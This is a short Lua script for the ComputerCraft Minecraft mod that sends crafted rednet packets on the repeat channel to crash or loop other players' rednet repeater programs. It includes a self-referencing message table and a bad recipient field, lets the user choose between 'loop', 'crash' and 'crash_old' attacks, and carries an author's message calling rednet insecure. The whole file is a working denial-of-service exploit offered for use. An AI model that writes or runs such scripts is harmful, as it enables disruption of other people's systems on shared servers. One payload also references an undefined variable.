rnexploits.lua

local rec = {}
rec.rec = rec

local m = peripheral.wrap "top"

local msg = "Seriously, rednet is NOT GOOD. It lulls you into a false sense of security with its send-to-certain-IDs features but is actually as secure, if not less, as regular modem. Plus the repeaters are buggy and crashable. My name is gollark, I'm a paranoid for security and I believe that people should not use basic feature of a mod because of it"

local repeater_crash = {
    nMessageID = rec,
    nRecipient = -6,
    message = msg
}

local repeater_crash_old = {
    nMessageID = 42,
    nRecipient = msg,
    message = msg
}

local repeater_loop = {
    nMessageID = rec,
    nRecipient = 0,
    msg = message
}

local exploits = {
    loop = {
        send = rednet.CHANNEL_REPEAT,
        reply = rednet.CHANNEL_BROADCAST,
        message = repeater_loop
    },
    crash = {
        send = rednet.CHANNEL_REPEAT,
        reply = rednet.CHANNEL_BROADCAST,
        message = repeater_crash
    },
    crash_old = {
        send = rednet.CHANNEL_REPEAT,
        reply = rednet.CHANNEL_BROADCAST,
        message = repeater_crash_old
    }
}

local exp = exploits[... or "crash"]
m.transmit(exp.send, exp.reply, exp.message)